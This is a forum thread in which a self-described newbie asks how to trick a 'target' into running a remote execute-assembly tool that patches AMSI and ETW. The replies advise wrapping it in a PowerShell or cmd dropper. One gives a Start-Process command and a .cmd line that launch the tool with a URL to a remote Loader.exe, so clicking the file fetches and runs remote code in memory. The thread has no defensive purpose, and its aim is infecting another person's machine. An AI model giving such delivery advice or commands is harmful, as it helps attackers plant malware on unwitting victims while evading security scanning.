Hardcoded link inside exe

[kokoganev]

Hey guys , I'm trying to understand one repository and I hope you will help me.
It's a remote execute-assembly.
So I'm creating a .exe /called ExecremoteNet.exe/ file using the .sln. The example is:
"
ExecremoteNET.exe <url> <assembly args>"
and when I run it on my PC like this :
Execremotenet.exe <url to Loader.exe> <assembly args> it's working, BUT
I don't know what to send to the target so when he click on the file the InmemoryNet.exe to be downloaded and then the command ExecremoteNET.exe <url to Loader.exe> <assembly args> to be executed.

I know it a lame question but obviously I'm a newbie and I need your help.
Thanks in advance
This is the repository:

GitHub - D1rkMtr/ExecRemoteAssembly: Execute Remote Assembly with args passing and with AMSI and ETW patching

Execute Remote Assembly with args passing and with AMSI and ETW patching - GitHub - D1rkMtr/ExecRemoteAssembly: Execute Remote Assembly with args passing and with AMSI and ETW patching

github.com

 

[kiloton]

You can create a small loader or a powershell script that will drop the first executable
and then pass the required parameters to it. Example:

Malware Safari: Reversing A Powershell Dropper

Malware Safari: Reversing A Powershell Dropper Recently I was reading a twitter thread by @_mbanana about malware analysis and saw the website malshare mentioned. To make a long story short I signed up for an api key and the first sample I saw had a powershell label. I decided to look into it...

rayoflightz.github.io

 

[qGodless]

what to send to the target so when he click on the file the InmemoryNet.exe to be downloaded and then the command ExecremoteNET.exe <url to Loader.exe> <assembly args> to be executed.

use a language that is built in windows like powershell, vbs, html, js... and call the executable with arguments

example in powershell
Start-Process -NoNewWindow -FilePath "ExecremoteNET.exe" -ArgumentList "<url to Loader.exe>", "<assembly args>"

or use cmd by Creating a new file and naming it test.cmd
ExecremoteNET.exe <url to Loader.exe> <assembly args>